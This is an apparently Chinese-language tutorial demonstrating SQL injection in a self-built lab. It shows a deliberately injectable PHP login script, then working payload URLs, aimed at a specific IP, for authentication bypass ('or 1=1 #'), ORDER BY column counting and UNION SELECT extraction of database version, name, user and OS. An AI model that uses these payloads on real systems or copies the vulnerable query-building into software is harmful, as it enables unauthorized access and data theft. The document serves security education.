SQL注入

通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 

SQL注入带来的威胁主要有如下几点:

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台,进行提权等操作。

一、准备实验环境

1.1 搭建LAMP环境

参考《LAMP安装(Yum CentOS)》

1.2 新建数据库及表
DROP TABLE IF EXISTS `ai_bk`.`userlogin_info`;
CREATE TABLE  `ai_bk`.`userlogin_info` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(45) COLLATE utf8_unicode_ci NOT NULL,
  `pwd` varchar(45) COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

二、绕过认证登录

2.1 登录接口文件

传入用户名密码,判断是否正确,并返回查询结果。

<?php
header("Content-type: text/html; charset=utf-8");
include_once '/var/www/html/api/com/com_inc.php';

$username = $_GET['name'];
$userpwd = $_GET['pwd'];

$link=mysqli_connect(Config::getDBHost(), Config::s_db_user, Config::getDBPasswd(), Config::s_db_name);

$sql = "select * from ai_bk.userlogin_info  where name = '" . $username . "' and pwd = '" . $userpwd . "'";

$_rs = mysqli_query($link, $sql);

$ret = array();
while ($row = mysqli_fetch_assoc($_rs)) {
	$ret[] = $row;
}

mysqli_close($link);   
$link = null; 
       
echo json_encode($ret);
2.2 正常调用

调用URL:

http://148.70.159.137:5888/api/test/ws.php?name=admin&pwd=c4ca4238a0b923820dcc509a6f75849b

返回结果:(密码是MD5加密的)

[{"id":"1","name":"admin","pwd":"c4ca4238a0b923820dcc509a6f75849b"}]
2.3 绕过登录

基于两点特性:

  • Mysql 语法,# 后面的内容会被忽略特性。
  • && || 特性

url出现了有+,空格,/,?,%,#,&,=等特殊符号的时候,可能在服务器端无法获得正确的参数值,需要将这些字符转化成服务器可以识别的字符,对应关系如下:

+    URL 中+号表示空格                                 %2B   
空格 URL中的空格可以用+号或者编码           %20 
/   分隔目录和子目录                                     %2F     
?    分隔实际的URL和参数                             %3F     
%    指定特殊字符                                          %25     
#    表示书签                                                  %23     
&    URL 中指定的参数间的分隔符                  %26     
=    URL 中指定参数的值                                %3D

修改后的URL:

http://148.70.159.137:5888/api/test/ws.php?name=*' or 1=1 #&pwd=2' or 1=1 #
转义后:
http://148.70.159.137:5888/api/test/ws.php?name=*' or 1=1 %23&pwd=2' or 1=1 %23

服务端实际执行的SQL:

select * from ai_bk.userlogin_info  where name = '*' or 1=1 #' and pwd = '2' or 1=1 #'

Mysql实际只执行:

select * from ai_bk.userlogin_info  where name = '*' or 1=1

根据‘||’原则,只要有一条为真就都会为真,而1=1是真,所以前面判断条件不重要了,执行结果:

[{"id":"1","name":"admin","pwd":"c4ca4238a0b923820dcc509a6f75849b"}]

三、猜测后台数据库

3.1 猜测字段数

order by 语句用于根据指定的列对结果集进行排序,语句默认是按照升序记录进行排序的,比如猜测一个字段的URL:

http://148.70.159.137:5888/api/test/ws.php?name=admin' order by 1 %23&pwd=2' or 1=1 %23

实际执行:

sql =  select * from ai_bk.userlogin_info  where name = 'admin' order by 1 #' and pwd = '2' or 1=1 #'

MYSQL执行:

sql =  select * from ai_bk.userlogin_info  where name = 'admin' order by 1

执行结果:

[{"id":"1","name":"admin","pwd":"c4ca4238a0b923820dcc509a6f75849b"}]

2个和3个字段如下:

http://148.70.159.137:5888/api/test/ws.php?name=admin' order by 2 %23&pwd=2' or 1=1 %23
http://148.70.159.137:5888/api/test/ws.php?name=admin' order by 3 %23&pwd=2' or 1=1 %23

到底4个字段返回空,则说明就3个字段

http://148.70.159.137:5888/api/test/ws.php?name=admin' order by 4 %23&pwd=2' or 1=1 %23

返回

[]
3.2 数据库版本、数据库名、用户名、操作系统
  • database()将会返回当前网站所使用的数据库名字。
  • user()将会返回执行当前查询的用户名。
  • version()获取当前数据库的版本
  • @@version_compile_os获取当前操作系统。

查询数据库版本、数据库名、用户名,执行URL:

http://148.70.159.137:5888/api/test/ws.php?name=*' union select version(),database(),user() %23&pwd=2' or 1=1 %23

实际执行SQL:

select * from ai_bk.userlogin_info  where name = '*' union select version(),database(),user() #' and pwd = '2' or 1=1 #'

MYSQL执行的SQL:

select * from ai_bk.userlogin_info  where name = '*' union select version(),database(),user()

执行结果结果:

[{"id":"5.5.64-MariaDB","name":"ai_bk","pwd":"root@localhost"}]

查询操作系统,替换其中一个即可,URL如下:

http://148.70.159.137:5888/api/test/ws.php?name=*' union select version(),database(),@@version_compile_os %23&pwd=2' or 1=1 %23

执行结果如下:

[{"id":"5.5.64-MariaDB","name":"ai_bk","pwd":"Linux"}]

发表回复